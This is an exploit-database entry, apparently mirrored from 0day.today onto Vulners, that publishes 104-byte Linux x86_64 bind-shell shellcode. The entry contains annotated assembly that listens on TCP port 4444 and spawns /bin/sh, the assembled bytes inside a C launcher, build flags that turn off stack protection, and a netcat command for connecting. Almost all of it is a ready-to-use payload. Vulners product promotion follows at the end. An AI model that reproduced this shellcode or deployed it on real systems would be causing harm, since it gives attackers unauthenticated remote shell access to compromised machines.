Lucene search
K

Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) Shellcode (104 bytes)

🗓️ 11 Jun 2019 00:00:00Reported by Aron MihaljevicType 
zdt
 zdt
🔗 0day.today👁 80 Views

Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) Shellcode (104 bytes) for exploitatio

Code
;Title: Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) (104 bytes)
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length:  104 bytes
;github = https://github.com/STARRBOY  
;test shellcode = after you run the shellcode, open another terminal and run "netcat -vv 0.0.0.0 4444"


================== ASSEMBLY ========================================

global _start


section .text

_start:
    
  

  ;create_socket
  ;int socket(AF_INET, SOCK_STREAM, 0);

  push   41          ;sys_socket
  pop   rax
  push   2          ;AF_INET  
  pop   rdi
  push  1          ;SOCK_STREAM
  pop  rsi
  xor   rdx,  rdx
  syscall

  ;save the return value for future use
  xchg rdi, rax
  

  ; sin_zero:        0
    ; sin_addr.s_addr: INADDR_ANY = 0
    ; sin_port:        4444
    ; sin_family:      AF_INET = 2

  push  2                ;sin_family = AF_INET
  mov word [rsp + 2], 0x5c11  ;port = 4444
  push  rsp
  pop  rsi    




bind:
  ;int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);

  push   49            ;sys_bind
  pop   rax
  push  rsp  
  pop   rsi            ;sockaddr stack pointer
  push  16            ;sizeof sockaddr
  pop  rdx
  syscall


listen:
  ;int listen(int sockfd, int backlog);
    
  push   50        ;sys_listen
  pop   rax
  push  1
  pop  rsi            ;backlog = number of clients = 1 
  syscall

  
accept:
  ;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);  


    

  push  43        ;sys_accept
  pop  rax
  sub  rsp,  16      ;size of the structure on the stack
  push  rsp
  pop  rsi            ;struct sockaddr
  push  16        ;length of the  address
  push  rsp        ;stack pointer for struct size
  pop  rdx    
  syscall
  
  
  xchg r10,   rax      ;save client socket in r10, since we won't use that register  for any other operation

  
close:
  ;int close(int fd);
  
  push  3        ;sys_close
  pop   rax
  push  rax        ;save 3 on the stack for rsi in dup2
  syscall

  
  xchg    rdi,  r10  ;client socket as first parameter for dup2
  pop   rsi        ;parameter for dup2 = 3 
  
dup2loop:
  
  ; int dup2(int oldfd, int newfd);

  push  33        ;sys_dup2
  pop      rax
  dec   rsi    
  syscall
  loopnz  dup2loop  
    


spawn_shell:
  
  ;int execve(const char *filename, char *const argv[],char *const envp[]);

  xor     rsi,  rsi               ;clear rsi
  push  rsi                       ;push null on the stack
  mov   rdi,  0x68732f2f6e69622f   ;/bin//sh in reverse order
  push  rdi
  push  rsp    
  pop      rdi                    ;stack pointer to /bin//sh
  mov   al,      59            ;sys_execve
  cdq                          ;sign extend of eax
  syscall






=======Generate Shellcode==========================================
nasm -felf64 tcp_bind_shell.nasm -o tcp_bind_shell.o 
ld tcp_bind_shell.o -o tcp_bind_shell


=========generate C program to exploit=============================
gcc -fno-stack-protector -z execstack bind.c -o bind


======================C program=====================================

#include <stdio.h>
#include <string.h>

unsigned char shellcode[]=\
     "\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f\x05"
     "\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x11\x5c\x54\x5e\x6a"
     "\x31\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x32\x58\x6a\x01"
     "\x5e\x0f\x05\x6a\x2b\x58\x48\x83\xec\x10\x54\x5e\x6a\x10"
     "\x54\x5a\x0f\x05\x49\x92\x6a\x03\x58\x50\x0f\x05\x49\x87"
     "\xfa\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\xe0\xf6\x48\x31"
     "\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54"
     "\x5f\xb0\x3b\x99\x0f\x05";


int main(){

        printf("length of your shellcode is: %d\n", (int)strlen(shellcode));

        int (*ret)() = (int(*)())shellcode;

        ret();
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation